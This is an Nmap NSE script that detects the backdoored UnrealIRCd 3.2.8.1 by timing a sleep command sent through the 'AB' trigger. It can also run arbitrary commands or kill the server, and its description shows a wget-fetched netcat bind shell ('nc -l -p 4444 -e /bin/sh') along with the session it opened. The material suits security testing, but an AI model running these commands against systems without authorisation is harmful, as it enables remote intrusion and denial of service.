local comm = require "comm"
local nmap = require "nmap"
local os = require "os"
local irc = require "irc"
local stdnse = require "stdnse"
local string = require "string"

description = [[
Checks if an IRC server is backdoored by running a time-based command (ping)
and checking how long it takes to respond.

The <code>irc-unrealircd-backdoor.command</code> script argument can be used to
run an arbitrary command on the remote system. Because of the nature of
this vulnerability (the output is never returned) we have no way of
getting the output of the command. It can, however, be used to start a
netcat listener as demonstrated here:
<code>
  $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' <target>
  $ ncat -vv localhost 4444
  Ncat: Version 5.30BETA1 ( https://nmap.org/ncat )
  Ncat: Connected to 127.0.0.1:4444.
  pwd
  /home/ron/downloads/Unreal3.2-bad
  whoami
  ron
</code>

Metasploit can also be used to exploit this vulnerability.

In addition to running arbitrary commands, the
<code>irc-unrealircd-backdoor.kill</code> script argument can be passed, which
simply kills the UnrealIRCd process.


Reference:
* http://seclists.org/fulldisclosure/2010/Jun/277
* http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
* http://www.metasploit.com/modules/exploit/unix/irc/unreal_ircd_3281_backdoor
]]

---
-- @args irc-unrealircd-backdoor.command An arbitrary command to run on the
--       remote system (note, however, that you won't see the output of your
--       command). This will always be attempted, even if the host isn't
--       vulnerable.  The pattern <code>%IP%</code> will be replaced with the
--       ip address of the target host.
-- @args irc-unrealircd-backdoor.kill If set to <code>1</code> or
--       <code>true</code>, kill the backdoored UnrealIRCd running.
-- @args irc-unrealircd-backdoor.wait Wait time in seconds before executing the
--       check. This is recommended to set for more reliable check (100 is good
--       value).
--
-- @output
-- PORT     STATE SERVICE
-- 6667/tcp open  irc
-- |_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
--

author = {"Vlatko Kosturjak", "Ron Bowes"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit", "intrusive", "malware", "vuln"}


portrule = irc.portrule


action = function(host, port)
  local socket = nmap.new_socket()
  local code, message
  local status, err
  local data
  -- Wait up to this long for the server to send its startup messages and
  -- a response to our noop_command. After this, send the full_command.
  -- Usually we don't have to wait the full time because we can detect
  -- the response to noop_command.
  local banner_timeout = 60
  -- Send a command to sleep this long. This just has to be long enough
  -- to remove confusion from network delay.
  local delay = 8

  -- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable.
  -- I defined the fudge as 1 second, for now, just because of rounding issues. In practice,
  -- the actual delay should never be shorter than the given delay, only longer.
  local delay_fudge = 1

  -- We send this command on connection because comm.tryssl needs to send
  -- something; it also allows us to detect the end of server
  -- initialization.
  local noop_command = "TIME"

  -- The 'AB' sequence triggers the backdoor to run a command.
  local trigger = "AB"

  -- We define a highly unique variable as a type of 'ping' -- it lets us see when our
  -- command returns. Typically, asynchronous data will be received after the initial
  -- connection -- this lets us ignore that extra data.
  local unique = "SOMETHINGUNIQUE"

  -- On Linux, do a simple sleep command.
  local command_linux = "sleep " .. delay

  -- Set up an extra command, if the user requested one
  local command_extra = ""
  if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then
    command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command')
    -- Replace "%IP%" with the ip address
    command_extra = string.gsub(command_extra, '%%IP%%', host.ip)
  end

  -- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to
  -- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want
  -- to add 1 to the delay because the first ping happens instantly.
  --
  -- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly
  -- not vulnerable. However, it's possible that some odd person may have compiled it
  -- from the vulnerable sourcecode, so we check for it anyways.
  local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1"

  -- Put together the full command
  local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra)

  -- wait time: get rid of fast reconnecting annoyance
  if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then
    local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait')
    stdnse.debug1("waiting for %i seconds", waittime)
    stdnse.sleep(waittime)
  end

  -- Send an innocuous command as fodder for tryssl.
  stdnse.debug1("Sending command: %s", noop_command);
  local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false})

  -- Make sure the socket worked
  if(not(socket) or not(response)) then
    stdnse.debug1("Couldn't connect to remote host")
    return nil
  end

  socket:set_timeout(banner_timeout * 1000)

  -- Look for the end of initial server messages. This allows reverse DNS
  -- resolution and ident lookups to time out and not interfere with our
  -- timing measurement.
  status = true
  data = response
  while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do
    status, response = socket:receive_bytes(0)
    if status then
      data = data .. response
    end
  end

  if not status then
    stdnse.debug1("Receive failed after %s: %s", noop_command, response)
    return nil
  end

  -- Send the backdoor command.
  stdnse.debug1("Sending command: %s", full_command);
  status, err = socket:send(full_command .. "\n")
  if not status then
    stdnse.debug1("Send failed: %s", err)
    return nil
  end

  -- Get the current time so we can measure the delay
  local time = os.time(os.date('*t'))
  socket:set_timeout((delay + 5) * 1000)

  -- Accumulate the response in the 'data' string
  status = true
  data = ""
  while not string.find(data, unique) do
    status, response = socket:receive_bytes(0)
    if status then
      data = data .. response
    else
      -- If the server unexpectedly closes the connection, it
      -- is usually related to throttling. Therefore, we
      -- print a throttling warning.
      stdnse.debug1("Receive failed: %s", response)
      socket:close()
      return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)."
    end
  end

  -- Determine the elapsed time
  local elapsed = os.time(os.date('*t')) - time

  -- Let the user know that everything's working
  stdnse.debug1("Received a response to our command in " .. elapsed .. " seconds")

  -- Determine whether or not the vulnerability is present
  if(elapsed > (delay - delay_fudge)) then
    -- Check if the user wants to kill the server.
    if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then
      stdnse.debug1("Attempting to kill the Trojanned UnrealIRCd server...")

      local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`"
      local windows_kill = 'wmic process where "name like \'%ircd%\'" delete'
      local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill)

      -- Kill the process
      stdnse.debug1("Running kill command: %s", kill_command)
      socket:send(kill_command .. "\n")
    end

    stdnse.debug1("Looks like the Trojanned unrealircd is running!")

    -- Close the socket
    socket:close()

    return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277"
  end

  -- Close the socket
  socket:close()

  stdnse.debug1("The Trojanned version of unrealircd probably isn't running.")

  return nil
end

